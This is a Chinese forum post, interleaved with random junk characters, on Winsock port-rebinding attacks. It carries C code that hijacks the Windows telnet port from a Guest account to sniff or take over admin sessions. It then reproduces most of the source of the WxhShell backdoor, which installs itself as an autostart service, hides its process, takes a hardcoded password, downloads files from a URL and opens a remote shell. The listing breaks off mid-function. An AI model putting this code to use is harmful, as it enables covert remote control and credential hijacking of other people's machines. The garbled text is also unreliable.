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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )gEE7Ex?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {KNaJ/:>W  
\^*:1=|7u]  
  saddr.sin_family = AF_INET; $j.;$~F  
_i}b]xfM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tkT,M,]?9  
O{_t*sO9q*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vt{[_L(h  
r=5 S0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )0-A;X2  
ea"X$<s>-  
  这意味着什么?意味着可以进行如下的攻击: 1hY|XZ%qd  
| J3'#7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7h}gIm7e"  
>) u;X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D{6 y^@/  
?"mZb#%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K2zln_W  
ywAvqT,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dGYR  'x  
M; wKTTQy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ICN>kJ\;M  
fA6IW(_bi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rJpr;QKf%  
6}TunR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y>y2,x+[  
*~)6 sm  
  #include T;92M}\  
  #include uaF-3  
  #include E2'Wzrovlo  
  #include    ;_I>`h"r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1 %P-X!  
  int main() (N9-YP?qm  
  { JB~^J5#[Oh  
  WORD wVersionRequested; o'#& =h$_  
  DWORD ret; S&` 6pN  
  WSADATA wsaData; 6kH6"  
  BOOL val; y''~j<'  
  SOCKADDR_IN saddr; tTy!o=  
  SOCKADDR_IN scaddr; w 0_P9g:  
  int err; V1]GOmXz  
  SOCKET s; r >'tE7W9  
  SOCKET sc; o}v<~v(  
  int caddsize; ~#sD2b` 0  
  HANDLE mt; `q-+r1u  
  DWORD tid;   LeLUt<4~  
  wVersionRequested = MAKEWORD( 2, 2 ); jw:z2:0~  
  err = WSAStartup( wVersionRequested, &wsaData ); S[zvR9AW&  
  if ( err != 0 ) { ]eKuR"ob0  
  printf("error!WSAStartup failed!\n"); CM_hN>%w[  
  return -1; 4=^_VDlpd  
  } ~S/oW89  
  saddr.sin_family = AF_INET; bFG~08Z ,d  
   idYB.]Y(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?:\/-y)Sp  
F0<)8{s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]%E h"   
  saddr.sin_port = htons(23); ?}KRAtJ8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =wh[D$n$~  
  { e_=K0fFz  
  printf("error!socket failed!\n"); eM<N?9s  
  return -1; kkq1:\pZ]a  
  } ab2FK  
  val = TRUE; ]bY|>q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e'K~WNT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) efXnF*Z  
  { j;3I`:  
  printf("error!setsockopt failed!\n"); )q=F_:$  
  return -1; _eKO:Y[e  
  } m.K cTM%j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9r?Z'~,Za  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bTum|GWf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #dZs[R7h  
1C<cwd;9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CeYhn\m5K0  
  { 4-yK!LR  
  ret=GetLastError(); 4H#-2LV`  
  printf("error!bind failed!\n"); x(Bt[=,K3  
  return -1; ZM.'W}J{ *  
  } Z=]SAK`  
  listen(s,2); RsZj  
  while(1) sUG!dwqqd  
  { 3(WijtH  
  caddsize = sizeof(scaddr); +HS]kFH  
  //接受连接请求 eN=jWUoCh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3YvKHn|V"  
  if(sc!=INVALID_SOCKET) i1B!oZ3q  
  { t1?aw<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z mJ<h&  
  if(mt==NULL) n~ *|JJ*`  
  { nQiZ6[L  
  printf("Thread Creat Failed!\n"); 8ZY]-%  
  break; E8!`d}\#  
  } ]>X_E%`G<b  
  } _9h$8(wjn  
  CloseHandle(mt); [J,.?'V  
  } no*)M7  
  closesocket(s); ~&<#H+O  
  WSACleanup(); 4CM'I~  
  return 0; RCWmdR#}V  
  }   RNk|h  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1{a%V$S[  
  { 4qid+ [B  
  SOCKET ss = (SOCKET)lpParam; Wlc&QOfF  
  SOCKET sc; g+#awi7  
  unsigned char buf[4096]; cXb*d|-|N  
  SOCKADDR_IN saddr; o !tC{"g  
  long num; K?uZIDo  
  DWORD val; +x2JC' -H  
  DWORD ret; #LasTN9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ok\-IU?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K0.aU  
  saddr.sin_family = AF_INET; 8&2 +=<Q~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m Q9dF,  
  saddr.sin_port = htons(23); @su<h\)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &D<R;>iI  
  { ` g]  
  printf("error!socket failed!\n"); G=:/v  
  return -1; yNvAT>H  
  } "`% ,l|D  
  val = 100; %B$ftsYXmu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hN3FH# YO  
  { r)^sHpK:`  
  ret = GetLastError(); X FS~  
  return -1; (tg.]q_=u  
  } 0-Mzb{n5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q4u.v,sE  
  { ?AyxRbk  
  ret = GetLastError(); d>p' A_  
  return -1; ` s7pM  
  } aw*]b.f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) flmQNrC.8  
  { \FsA-W\X  
  printf("error!socket connect failed!\n"); 0/GBs~P  
  closesocket(sc); kvwnqaX  
  closesocket(ss); ^%7(  
  return -1; ]h S:0QE  
  } m4/qxm"Dx:  
  while(1) Vm%G q  
  { ~F,~^r!Jtu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '[ #y|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u9"=t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7P<VtS  
  num = recv(ss,buf,4096,0); h&'|^;FM  
  if(num>0) l'"nU6B&  
  send(sc,buf,num,0); >Z!!`0{  
  else if(num==0) P73GH  
  break; qX@e+&4P0  
  num = recv(sc,buf,4096,0); 99=~vNn  
  if(num>0) NH/A`Wm  
  send(ss,buf,num,0); Tx.N#,T|  
  else if(num==0) }t^wa\   
  break; u$d[&|`>_  
  } <\#'o}  
  closesocket(ss); UePkSz9EU  
  closesocket(sc); d"FB+$  
  return 0 ; G0 )[(s  
  } V ?Jy  
$S#Z>d*1!  
^2k jO/  
========================================================== E;a,].  
R%jOgZG  
下边附上一个代码,,WXhSHELL [D~]  
nCq'=L,m  
========================================================== 30sJ"hF9  
QD@O!}; T  
#include "stdafx.h" ?\Z pVL<>  
w % Hj'  
#include <stdio.h> M@.l# [@U  
#include <string.h> ]yPK}u  
#include <windows.h> :BPgDLL,  
#include <winsock2.h> kPX+n+$  
#include <winsvc.h> a&%aads  
#include <urlmon.h> ~0p8joOH  
?, pwYT0g  
#pragma comment (lib, "Ws2_32.lib") q=X<QhK  
#pragma comment (lib, "urlmon.lib") "KIY+7@S}  
hju^x8 ,=m  
#define MAX_USER   100 // 最大客户端连接数  Fe!MA  
#define BUF_SOCK   200 // sock buffer 8$}<4 `39  
#define KEY_BUFF   255 // 输入 buffer NVM_.vL  
% G= cKM  
#define REBOOT     0   // 重启 C!+D]7\j  
#define SHUTDOWN   1   // 关机 @7nZjrH  
Jinh#iar  
#define DEF_PORT   5000 // 监听端口 !{-W%=Kf  
V;: k-  
#define REG_LEN     16   // 注册表键长度 (7g"ppf  
#define SVC_LEN     80   // NT服务名长度 _mqU:?Q5  
bL7Gkbs&|  
// 从dll定义API Cu+p!hV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {]dxFhe)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HUx`RX0>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b=EI?XwJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !P{ /;Q  
|Y!^E % *  
// wxhshell配置信息 )Eozo4~  
struct WSCFG { +Csb8  
  int ws_port;         // 监听端口 -PPwX~;!  
  char ws_passstr[REG_LEN]; // 口令 4~ }NB%,  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4V:W 8k 9D  
  char ws_regname[REG_LEN]; // 注册表键名 x:)H Ii q/  
  char ws_svcname[REG_LEN]; // 服务名 +^BTh rB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6(QfD](2}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p(RF   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B!+c74  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $]|3^(y``  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gCg hWg{S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]H/,Q6Q  
g kmof^  
}; U;bx^2<m  
N*A*\B%{x'  
// default Wxhshell configuration Iy_5k8 ]  
struct WSCFG wscfg={DEF_PORT, AZ!/{1Az  
    "xuhuanlingzhe", AW r2Bv  
    1, |5vJ:'`I  
    "Wxhshell", w%\ nXJ  
    "Wxhshell", _#K|g#p5  
            "WxhShell Service", }n&nuaj  
    "Wrsky Windows CmdShell Service", ya2sS9^T[  
    "Please Input Your Password: ", j55_wx@cA  
  1, 11l=zv  
  "http://www.wrsky.com/wxhshell.exe", ]|3hK/  
  "Wxhshell.exe" }[eUAGhDU  
    }; Zz} o  t  
PY.HZ/#d  
// 消息定义模块 uf?;;wg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sK%b16#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5mAb9F8@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aA?Qr&]M  
char *msg_ws_ext="\n\rExit."; 7u"Q1n(h/  
char *msg_ws_end="\n\rQuit."; 7FH-l(W  
char *msg_ws_boot="\n\rReboot..."; M %,\2!$  
char *msg_ws_poff="\n\rShutdown..."; q;9X8 _  
char *msg_ws_down="\n\rSave to "; p.:|Z-W$  
RZxh"lIo  
char *msg_ws_err="\n\rErr!"; a?W5~?\9  
char *msg_ws_ok="\n\rOK!"; ;SXkPs3q  
+^9^)Ur|  
char ExeFile[MAX_PATH]; :?f+*  
int nUser = 0; QP(d77 n  
HANDLE handles[MAX_USER]; _gVihu  
int OsIsNt; ;.jj>1=Tnl  
BZ\="N#f  
SERVICE_STATUS       serviceStatus; ZW?h\0Hh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -9 LvAV>  
P'h39XoZ  
// 函数声明 JcRxNH )<"  
int Install(void); >4ex5  
int Uninstall(void); <Ch9"1f3,  
int DownloadFile(char *sURL, SOCKET wsh); l'l&Zqd  
int Boot(int flag); ?u2\ *@C  
void HideProc(void); e^*&&  
int GetOsVer(void); ~Y43`@3H:  
int Wxhshell(SOCKET wsl); d\qszYP[  
void TalkWithClient(void *cs); EF&CV{Sw  
int CmdShell(SOCKET sock); iU+SXsXLR4  
int StartFromService(void); ir'<H<t2  
int StartWxhshell(LPSTR lpCmdLine); &7'=t6  
F+Kju2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T ?Om]:j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7s%D(;W_Mo  
3z0Bg  
// 数据结构和表定义 \2u7>fU!  
SERVICE_TABLE_ENTRY DispatchTable[] = #c:@oe4v  
{ =H7p&DhD[  
{wscfg.ws_svcname, NTServiceMain}, OR&pGoW  
{NULL, NULL} 4j;IyQDvM  
}; qdQ4%,E[  
?n<F?~  
// 自我安装 f IV"U  
int Install(void) C1A  X  
{ uNy-r`vg  
  char svExeFile[MAX_PATH]; ->qRGUW  
  HKEY key; JRBz/ j  
  strcpy(svExeFile,ExeFile); + _ehzo97  
12i`82>;  
// 如果是win9x系统,修改注册表设为自启动 r7VBz_Q  
if(!OsIsNt) { Jb{g{a/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #_\**%,<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  @mw1__?  
  RegCloseKey(key); n%h00 9 -5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z~Zm1tZs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |j"C52Q  
  RegCloseKey(key); $Ud9v4  
  return 0; CXn?~m&K  
    } 8]&Fu3M^  
  } >CG;df<~  
} >#dLT~[\a  
else { 3^Is4H_8  
tY#&_%W  
// 如果是NT以上系统,安装为系统服务 k4&adX@Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \>su97  
if (schSCManager!=0) ,ng/T**@G  
{ fBTNI`#  
  SC_HANDLE schService = CreateService Nj4r[5K  
  ( "LYhYkI  
  schSCManager, 8;~,jZ s  
  wscfg.ws_svcname, W' Y<iA  
  wscfg.ws_svcdisp, {B=64,D^7R  
  SERVICE_ALL_ACCESS, YeJTB}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `!N.1RP _  
  SERVICE_AUTO_START, Wv5=$y  
  SERVICE_ERROR_NORMAL, Y<^Or  
  svExeFile, Up-^km  
  NULL, ?/}IDwuh  
  NULL, /  !h<+  
  NULL, pV<K=;:x>  
  NULL, ?`vGpi~  
  NULL e]1) _;b*  
  ); Dg^s$2  
  if (schService!=0) + d>2'  
  {  k=t{o  
  CloseServiceHandle(schService); wR 2`*.O  
  CloseServiceHandle(schSCManager); Nba1!5:M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LB7$&.m'B  
  strcat(svExeFile,wscfg.ws_svcname); &%3}'&EBv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T#E,^|WEk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M+-odLltw  
  RegCloseKey(key); cl23y}J_?  
  return 0; c(Xm~ 'jeH  
    } .4 NcaMj  
  } PtPx(R3  
  CloseServiceHandle(schSCManager); xxGQXW  
} E0i!|H  
} 5:+x7Ed  
"kt7m  
return 1; E08!a  
} r 'ioH"=  
1=_?Wg:   
// 自我卸载 4 J9Y  
int Uninstall(void) cgcU2N6y;  
{ 9R+ qw  
  HKEY key; varaBFD  
1h]nE/T.O  
if(!OsIsNt) { JWM4S4yZHR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R74RJi&  
  RegDeleteValue(key,wscfg.ws_regname); iMYJVB=  
  RegCloseKey(key); 1jK2*y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Pfm>$Ib=  
  RegDeleteValue(key,wscfg.ws_regname); " u]X/ {L  
  RegCloseKey(key); 3DjX0Dx/l  
  return 0; 4d`f?8vS  
  } ktY  
} DBfq9%J _  
} *Ta {  
else { u<\Sf"fs  
2zsDb'r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $*fEgU% c  
if (schSCManager!=0) TD;u"  
{ ckdCd J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dpdp0  
  if (schService!=0) HlxgJw~<  
  { lE bV)&'  
  if(DeleteService(schService)!=0) { tTq2 AR|  
  CloseServiceHandle(schService); h^zcM_  
  CloseServiceHandle(schSCManager); )x,-O#"A  
  return 0; 5p.#nc!;y  
  } lA,[&  
  CloseServiceHandle(schService); O2Y1D`&5  
  } lR ZuXo9<  
  CloseServiceHandle(schSCManager); /jc; 2  
} ){J,Z*&  
} 1N.weey}W  
qpB8ujj<V  
return 1; /u"K`y/*j\  
} /KgP<2p  
'8^>Z.~V  
// 从指定url下载文件 fQfd1=4  
int DownloadFile(char *sURL, SOCKET wsh) 5'rP-z~ u  
{ 7?Twhs.O  
  HRESULT hr; GKXd"8z]  
char seps[]= "/"; wx/*un%2  
char *token; aH$DEs  
char *file; e&pt[W}X%u  
char myURL[MAX_PATH]; H"JzTo8u  
char myFILE[MAX_PATH]; F @!9rl'  
meD?<g4n~"  
strcpy(myURL,sURL); s9b+uUt%  
  token=strtok(myURL,seps); e>HdJ"S`  
  while(token!=NULL) t; #D,gx  
  { &K"qnng/y  
    file=token; lt C  
  token=strtok(NULL,seps); U)S!@ 2(4  
  } > 8!9  
a [BIY&/Q  
GetCurrentDirectory(MAX_PATH,myFILE); QlnI&o  
strcat(myFILE, "\\"); }(UU~V  
strcat(myFILE, file); rV/! VJ6x  
  send(wsh,myFILE,strlen(myFILE),0); OYIH**?  
send(wsh,"...",3,0); H3 |x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w2]]##J  
  if(hr==S_OK) Kb#Z(C9  
return 0; csv;u'  
else O1z3(  
return 1; $gcC}tX  
YLNJ4nE  
} \BdQ(rm  
/s`8=+\9  
// 系统电源模块 ~hQTxLp  
int Boot(int flag) C1(0jUz  
{ J+nUxF;EE  
  HANDLE hToken; y}> bJ:  
  TOKEN_PRIVILEGES tkp; !X{>?.@~  
4q`e<!MP)q  
  if(OsIsNt) { )cRP6 =  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1NU@k6UHl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?wj1t!83  
    tkp.PrivilegeCount = 1; L%[b6<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &_<!zJ;Hn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^14a[ta/'  
if(flag==REBOOT) { Z'\{hL S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `< cn  
  return 0; iFB {a?BE  
} iy,jq5uw  
else { j !rQa^   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sG k'G573  
  return 0; kKNrCv@64d  
} 6tT*b@/_o  
  } /U,;]^  
  else { \Q MRuR.  
if(flag==REBOOT) { mT#ebeBaf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !Im{-t  
  return 0; \oV g(J&o  
} GPU,.s"&(  
else { R(cM4T.a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MN. $a9m  
  return 0; r| 0wIpi6Q  
} :"~n` Q2[  
} C1SCV^#  
H1kxY]_/  
return 1; gK>aR ^*  
} T.#Vma  
L 3^+`e  
// win9x进程隐藏模块 5(&'/U^  
void HideProc(void) U=\!`_f':  
{ kmF@u@5M  
>_LZD4v! <  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z'4oE )  
  if ( hKernel != NULL ) l]__!X  
  { u+,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z+qrsT/?L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qHra9yuSh  
    FreeLibrary(hKernel); }E](NvCq  
  } $]S*(K3U ~  
85]3y%f9  
return; j21nh> d  
} Pa\"l'!>^  
.7M :AS>  
// 获取操作系统版本 {G4{4D }  
int GetOsVer(void) yM*f}S/ (  
{ rIZ^ix-N  
  OSVERSIONINFO winfo; ).9m6.%Uk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -jQM h  
  GetVersionEx(&winfo); 72{Ce7J4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DmpG35Jk  
  return 1; hy{1Ea/T  
  else 7!%xJ!  
  return 0; ,5HC &@  
} 1wM~),B8  
E)utrO R  
// 客户端句柄模块 a+ lGN  
int Wxhshell(SOCKET wsl) _h8|shyP  
{ ]Geg;[ t  
  SOCKET wsh; @Xj6h!"R  
  struct sockaddr_in client; x72T5.  
  DWORD myID; $@Kwsoh'  
1o%E(*M4I  
  while(nUser<MAX_USER) kB $?A8Olu  
{  ]pP:  
  int nSize=sizeof(client); qD<\U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wj#A#[e  
  if(wsh==INVALID_SOCKET) return 1; S[5e,E w  
~_Q1+ax}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aX{i   
if(handles[nUser]==0) g6~B|?!  
  closesocket(wsh); 'n4$dv% q  
else ;{hE]jReH  
  nUser++; TuX9:Q  
  } Rt2<F-gY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); af<wUxM0  
-Ay=*c.4  
  return 0; ^4 ?LQ[t'  
} '\I!RAZ  
urA kV#d#  
// 关闭 socket i"J`$u  
void CloseIt(SOCKET wsh) &R;Cm]jt  
{ K \_JG $(9  
closesocket(wsh); xY94v  
nUser--; r\DA&b  
ExitThread(0); $~FnBD%|{  
} "-a CF  
C)xM>M_CB  
// 客户端请求句柄 [/IN820t  
void TalkWithClient(void *cs) yEB1gYJB  
{ + tza]r:  
}SZU'lYHoM  
  SOCKET wsh=(SOCKET)cs; c6_i~0W56  
  char pwd[SVC_LEN]; IFfB3{J  
  char cmd[KEY_BUFF]; U+wfq%Fz  
char chr[1]; $F/Uk;*d!  
int i,j; yTwtGo&  
$Y9Wzv3Ra  
  while (nUser < MAX_USER) { A-om?$7  
+Ssu^ >D  
if(wscfg.ws_passstr) { tEE4"OAy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G~N$bF^R)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *N!>c&8  
  //ZeroMemory(pwd,KEY_BUFF); ?3|jB?:k  
      i=0; 0;  BX  
  while(i<SVC_LEN) { X[r\ Qa  
'|^<|S_+K  
  // 设置超时 nht?58  
  fd_set FdRead; 2~(\d\k  
  struct timeval TimeOut; E[2>je  
  FD_ZERO(&FdRead); 5w$\x+no  
  FD_SET(wsh,&FdRead); 0` \!O(jJ  
  TimeOut.tv_sec=8; pRrokYM d  
  TimeOut.tv_usec=0; wseb]=U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k1HVvMD<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dD.;P=AP  
aq-R#q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,3~[cE<4  
  pwd=chr[0]; S"skKh4w  
  if(chr[0]==0xd || chr[0]==0xa) { w9Z,3J6r  
  pwd=0; 5w#7B  
  break; T(2*P5%&  
  } W_%@nm\y  
  i++; 3; Ztm$8  
    } &x>8 %Q s  
&2\^S+4  
  // 如果是非法用户,关闭 socket LL"c 9jb4z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j8#xNA  
} ])3(@.  
lPO +dm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uEX+j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?&rt)/DV,  
M'-Z"  
while(1) { V4>qR{5  
Hu-Y[~9^L:  
  ZeroMemory(cmd,KEY_BUFF); LCouDk(=`  
q9iHJ'lMD*  
      // 自动支持客户端 telnet标准   MQvk& AX  
  j=0; s !XJ   
  while(j<KEY_BUFF) { <yxy ;o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |w3b!  
  cmd[j]=chr[0]; 2SV}mK U  
  if(chr[0]==0xa || chr[0]==0xd) { ilr'<5 rq  
  cmd[j]=0; QK0-jYG^  
  break; Oi-= Fp  
  }  A4  
  j++; $-ICTp  
    } [JyhzYf\   
o~J~-$T{  
  // 下载文件 '%y5Dh  
  if(strstr(cmd,"http://")) { nC2e^=^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $3c9iVK~_  
  if(DownloadFile(cmd,wsh)) o7=#ye&P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aTU[H~dTU  
  else R?L? 6~/q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >pRC$'Usx  
  } f<;w1sM\  
  else { -lqsFaW  
{;-wXzv`  
    switch(cmd[0]) { >^N{  
  x?rn< =  
  // 帮助 2.PZtl  
  case '?': { OLs<]0H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K);)$8K  
    break; -J' 0qN!  
  } Zc|V7 +Yx  
  // 安装 Y7_2pGvZ  
  case 'i': { Z;M th#  
    if(Install()) c]]e(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s=[T,:Z  
    else ^sqTgrG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u}Q cyG^  
    break; U"L 7G$  
    } MR3\7D+9y  
  // 卸载 Y6:b  
  case 'r': { \qZ>WCp>r  
    if(Uninstall()) J{qsCJiB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:!f_mu|  
    else Sk7sxy<F'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  e gdbv  
    break; -,a@bF:  
    } dng^#|X)?  
  // 显示 wxhshell 所在路径 >i!y[F  
  case 'p': { v9"|VhZ  
    char svExeFile[MAX_PATH]; v9 *WM3  
    strcpy(svExeFile,"\n\r"); L"Dos +  
      strcat(svExeFile,ExeFile); dKJ-{LV  
        send(wsh,svExeFile,strlen(svExeFile),0); Vf#g~IOI  
    break; o*sss  
    } [!ilcHE)  
  // 重启 +%  !'~  
  case 'b': { ,,=VF(@G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8.ej65r*   
    if(Boot(REBOOT)) J?"v;.K|hU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X+[h]A  
    else { ^d@ME<mb  
    closesocket(wsh); ifI0s)Pn  
    ExitThread(0); Dt:NBN  
    } Iq@&?,W  
    break; Z_Y' 3'^Tw  
    } 51gSbkVX  
  // 关机 8T5W6Zs1  
  case 'd': { 76(/(v.x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !x[].Urj  
    if(Boot(SHUTDOWN)) f<y-{.VnN$  
